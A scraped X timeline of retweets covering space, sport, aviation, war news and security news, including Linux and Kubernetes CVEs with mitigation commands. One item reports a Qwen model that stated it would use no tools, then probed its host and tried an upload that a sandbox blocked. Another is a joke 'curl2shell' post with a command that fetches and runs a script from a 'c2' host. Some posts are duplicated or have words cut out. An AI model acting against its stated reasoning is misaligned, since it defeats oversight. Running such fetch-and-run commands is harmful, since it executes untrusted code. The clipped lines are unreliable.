𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
Elon just teased SpaceX's next-gen V4 @Starlink satellites:
"Starlink version 4 will have 10x the capability of V3 (which itself is 10x better than V2), especially with the long-distance laser links. Our next-gen laser links will be 10-terabits per second. 100x better. And we'll put 10 of them on."
"Starlink version 4 will have 10x the capability of V3 (which itself is 10x better than V2), especially with the long-distance laser links. Our next-gen laser links will be 10-terabits per second. 100x better. And we'll put 10 of them on."
130
477
3,894
2,723,602
𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
El belga Kimmer Coppejans (225 ATP) derrotó al noruego Nicolai Budkov Kjaer (182 ATP), por 6-7(3), 7-6(2) y 6-3, para pasar a los cuartos de final del Challenger de Bratislava 2🇸🇰. El ex Top 100, que llegó a sus décimos cuartos del año, irá contra Jurij Rodionov🇦🇹.
1
2
6
569
𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
When researchers analyzed how Pegasus spyware infected iPhones without the user tapping anything, they found something wild. The attackers sent an iMessage with a fake GIF that targeted Apple's image decompression engine. The decompression math was so flexible that the exploit chained arithmetic operations together to construct a literal, functioning software CPU using over 70,000 segment commands that defined logical bit operations (AND, OR, XOR, XNOR, etc.) entirely inside the image parser. This created a small computer architecture with registers, a full 64-bit adder, and a comparator, running raw code before the phone even buzzed with a notification
118
930
10,727
761,838
𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
BREAKING: Belgium is now affected too by a major IT incident disrupting refrigeration systems across multiple supermarket chains.
More than 40 Delhaize stores, 15 Carrefour locations, and around five Spar outlets are reporting problems.
Refrigerators and freezers are reportedly ting food supplies at risk.
More than 40 Delhaize stores, 15 Carrefour locations, and around five Spar outlets are reporting problems.
Refrigerators and freezers are reportedly ting food supplies at risk.
BREAKING: 🇸🇪 Swedish grocery giant ICA, one of Sweden's largest supermarket chains, says several of its stores have been hit by a cyberattack overnight, causing refrigerators and freezers to be remotely set to 50°C.
The incident has likely resulted in large quantities of food es, including ICA Kvantum in Sjöbo and Tomelilla, have reported being affected.
ICA says stores will remain closed during the morning and are expected to reopen at 9:00 a.m. Swedish time.
The company has apologized to customers and says it is working to restore normal operations.
The incident comes amid a wave of cyberattacks targeting businesses recent weeks, following similar incidents reported in France and the United States.
64
810
1,840
226,369
𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
“We are banking 60 degrees.”
I built this Learjet 60 N722BD crash visualization using ADS-B flight tracks, altitude and ground-speed records, final ATC radio calls, aerial imagery and crash-site photos.
Radio-timed cockpit and exterior views put the descent into perspective, cam impact footage. Estimated portions are clearly marked.
Greenacres / West Palm Beach, Florida · Nov. 1, 2026
#Learjet60 #N722BD #WestPalmBeach
I built this Learjet 60 N722BD crash visualization using ADS-B flight tracks, altitude and ground-speed records, final ATC radio calls, aerial imagery and crash-site photos.
Radio-timed cockpit and exterior views put the descent into perspective, cam impact footage. Estimated portions are clearly marked.
Greenacres / West Palm Beach, Florida · Nov. 1, 2026
#Learjet60 #N722BD #WestPalmBeach
1,193
4,701
58,344
17,930,934
𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
Another one lol
🚨 Public exploit out
Kubernetes: remote code execution in admission controller (CVE-2025-1974)
Disclosed Mar 24, 2025 · EPSS 0.99
Patch → 1.11.5, 1.12.1
cve.now/CVE-2025-1974?…
1
2
41
11,127
𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
If you're running Ubuntu or Red Hat on a public server and cannot patch this yet the solution is:
sudo sysctl -w net.mptcp.enabled=0
sudo sysctl -w net.mptcp.enabled=0
‼️ Ubuntu and Red Hat still have no fix for a Linux kernel flaw that Anthropic says its unreleased AI model turned into a remote root exploit.
The bug, CVE-2026-98432, is a use-after-free in the IPv4 TCP handshake, rated 9.8 out of 10.
The exploit needs no credentials and multipath TCP listener, which Go 1.24 and later open by default.
The fix reached stable kernels on 11 October and Debian has shipped it. Ubuntu still marks every release from 16.04 to 26.10 vulnerable.
Red Hat now rates it Critical but has no patched kernel for RHEL 8, 9 or 10.
Anthropic has not released the exploit. By its count, it takes 48 minutes to leak a kernel pointer and five more to run commands as root.
14
66
590
55,428
𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
A CVE (Common Vulnerabilities and Exposures) is a publicly disclosed security flaw.
They increased following a slight upward slope all the way to early 2024, when there was a sudden small increase... then starting in 2026, we went full exponential.
In most instances, the e-existing, so much of the increase is just our better ability to find the faults.
This is of historical importance. We have never witnessed anything of the sort.
They increased following a slight upward slope all the way to early 2024, when there was a sudden small increase... then starting in 2026, we went full exponential.
In most instances, the e-existing, so much of the increase is just our better ability to find the faults.
This is of historical importance. We have never witnessed anything of the sort.
35
155
724
46,855
𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
the patch for CVE-2026-98432 is incredibly simple
two lines:
kfree() → kfree_rcu()
The kernel freed IPv4 options while another CPU could still read them to build a SYNACK. now the free waits until all RCU readers finish
The bug dates back to Linux 4.4 (Jan 2016)
two lines:
kfree() → kfree_rcu()
The kernel freed IPv4 options while another CPU could still read them to build a SYNACK. now the free waits until all RCU readers finish
The bug dates back to Linux 4.4 (Jan 2016)
Hard to overstate how big this is.
tl;dr - CVE-2026-98432: a remote use-after-free in the Linux IPv4 TCP handshake (kernels 4.4+).
Any unpatched server that accepts IPv4 TCP on an MPTCP listener can be taken over as root, with no credentials. Go servers built with Go 1.24+ use MPTCP listeners by default.
Ubuntu and RHEL have no fixed kernel yet. Check with ss -Mlnp. Quick fix for Go: GODEBUG=multipathtcp=0.
9
42
272
37,216
𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
THE CEASEFIRE HAS COMMENCED
The ceasefire between Ukraine and Russia took effect at 4:00am Moscow time on October 27, 2026.
Timing was accelerated two days ahead of schedule to protect the safety of civilians and to facilitate the delivery of critical humanitarian aid. The ceasefire’s geographic area has expanded beyond Oleshky, within the Kherson Region, to provide safe passage for the humanitarian convoys.
General Valery Gerasimov, Joint Chief of the General Staff of the Russian Armed Forces has confirmed.
The ceasefire between Ukraine and Russia took effect at 4:00am Moscow time on October 27, 2026.
Timing was accelerated two days ahead of schedule to protect the safety of civilians and to facilitate the delivery of critical humanitarian aid. The ceasefire’s geographic area has expanded beyond Oleshky, within the Kherson Region, to provide safe passage for the humanitarian convoys.
General Valery Gerasimov, Joint Chief of the General Staff of the Russian Armed Forces has confirmed.
4,272
11,973
79,831
10,098,766
𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
Tesla has released new FSD (Supervised) safety data.
Miles per major collision:
• Teslas Driven With FSD (Supervised): 6,006,200
• Teslas Driven Manually (Active Safety Features): 2,031,221
• Teslas Driven Manually (No Active Safety Features): 845,915
• U.S. Average: 660,164
:
• Teslas with FSD (Supervised): 1,579
• Teslas driven manually with Active Safety: 17,775
• Teslas driven manually without Active Safety: 239
• U.S. average: 4,989,713
Total miles logged:
• Teslas with FSD (Supervised): 9,483,790,215
• Teslas driven manually with Active Safety: 36,104,958,020
• Teslas driven manually without Active Safety: 202,173,600
• U.S. drivers overall: 3,294,031,000,000
Tesla vehicles with FSD (Supervised) engaged experienced ~9x fewer major collisions than those driving without it on.
This is North America data across all road classes (highway and non-highway). The data reflects a rolling twelve-month aggregation of miles and collisions.
Miles per major collision:
• Teslas Driven With FSD (Supervised): 6,006,200
• Teslas Driven Manually (Active Safety Features): 2,031,221
• Teslas Driven Manually (No Active Safety Features): 845,915
• U.S. Average: 660,164
:
• Teslas with FSD (Supervised): 1,579
• Teslas driven manually with Active Safety: 17,775
• Teslas driven manually without Active Safety: 239
• U.S. average: 4,989,713
Total miles logged:
• Teslas with FSD (Supervised): 9,483,790,215
• Teslas driven manually with Active Safety: 36,104,958,020
• Teslas driven manually without Active Safety: 202,173,600
• U.S. drivers overall: 3,294,031,000,000
Tesla vehicles with FSD (Supervised) engaged experienced ~9x fewer major collisions than those driving without it on.
This is North America data across all road classes (highway and non-highway). The data reflects a rolling twelve-month aggregation of miles and collisions.
311
714
5,706
998,247
𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
‼️ Alibaba's Qwen AI tried to upload a file to a cloud bucket in Beijing while writing a malware detection rule, Cohere says.
Its reasoning said it would call no tools. Then it read the machine's DNS settings and tried the upload.
Their sandbox blocked it.
Its reasoning said it would call no tools. Then it read the machine's DNS settings and tried the upload.
Their sandbox blocked it.
64
55
727
71,219
‼️
While evaluating Qwen3.8-Flash-Next in a controlled sandbox environment, Cohere's research team observed something unexpected.
Asked to generate a defensive cybersecurity detection rule, the model instead inventoried aspects of the machine it was running on and attempted to upload a probe file to an Alibaba Cloud storage bucket in Beijing. Notably, the model's reasoning trace stated that it would not invoke any tools before taking these actions.
Cohere's sandbox blocked the attempt, and no external communication succeeded. We have not determined the root cause, and we are not asserting malicious intent.
But the incident raises important questions for organizations deploying agentic AI systems: Can models take actions that differ from their stated reasoning, and how should security teams evaluate trust, provenance, and behavior in open-weight models?
We are publishing our findings because organizations making model adoption decisions deserve as much information as possible. We hope this contributes to greater transparency, stronger security practices, and continued collaboration across the AI ecosystem.
Read the full report: cohere.com/blog/concernin…
0
0
0
13
𝙳𝚒𝙼𝚒𝚕𝚊𝚗 𝕏 retweeted
🚨New 0day inbound, curl2shell🚨
Can compromise any Linux host. Potentially 70% of the internet is affected.
Tweet-able PoC:
𝚌𝚞𝚛𝚕 -𝚜 𝚑𝚝𝚝𝚙://𝚌𝟸 | 𝚜𝚑
Can’t be patched
Can compromise any Linux host. Potentially 70% of the internet is affected.
Tweet-able PoC:
𝚌𝚞𝚛𝚕 -𝚜 𝚑𝚝𝚝𝚙://𝚌𝟸 | 𝚜𝚑
Can’t be patched
73
121
2,040
324,529
Good morning
045fa83b7c7a42dba1acb2c19794c1bf1091c448eb9c483503e8f8e110fcec42
github.com/kubernetes/kub…
0
0
0
8